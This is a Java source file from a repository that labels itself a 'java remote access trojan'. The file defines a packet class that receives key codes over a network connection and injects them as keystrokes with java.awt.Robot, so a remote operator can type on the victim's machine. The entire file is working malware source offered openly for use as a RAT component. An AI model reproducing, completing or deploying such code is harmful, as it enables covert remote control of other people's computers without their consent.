java remote access trojanc
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

59 lines
1.3 KiB

package de.sogomn.rat.packet;
import java.awt.AWTException;
import java.awt.Robot;
import java.awt.event.KeyEvent;
import de.sogomn.rat.ActiveConnection;
public final class KeyEventPacket implements IPacket {
private int key;
private byte strokeType;
public static final byte PRESS = 0;
public static final byte RELEASE = 1;
public static final byte TYPE = 2;
public KeyEventPacket(final int key, final byte strokeType) {
this.key = key;
this.strokeType = strokeType;
}
public KeyEventPacket() {
this(KeyEvent.VK_UNDEFINED, TYPE);
}
@Override
public void send(final ActiveConnection connection) {
connection.writeInt(key);
connection.writeByte(strokeType);
}
@Override
public void receive(final ActiveConnection connection) {
key = connection.readInt();
strokeType = connection.readByte();
}
@Override
public void execute(final ActiveConnection connection) {
try {
final Robot rob = new Robot();
if (strokeType == PRESS) {
rob.keyPress(key);
} else if (strokeType == RELEASE) {
rob.keyRelease(key);
} else if (strokeType == TYPE) {
rob.keyPress(key);
rob.keyRelease(key);
}
} catch (final IllegalArgumentException ex) {
System.err.println("No valid key code");
} catch (final AWTException ex) {
ex.printStackTrace();
}
}
}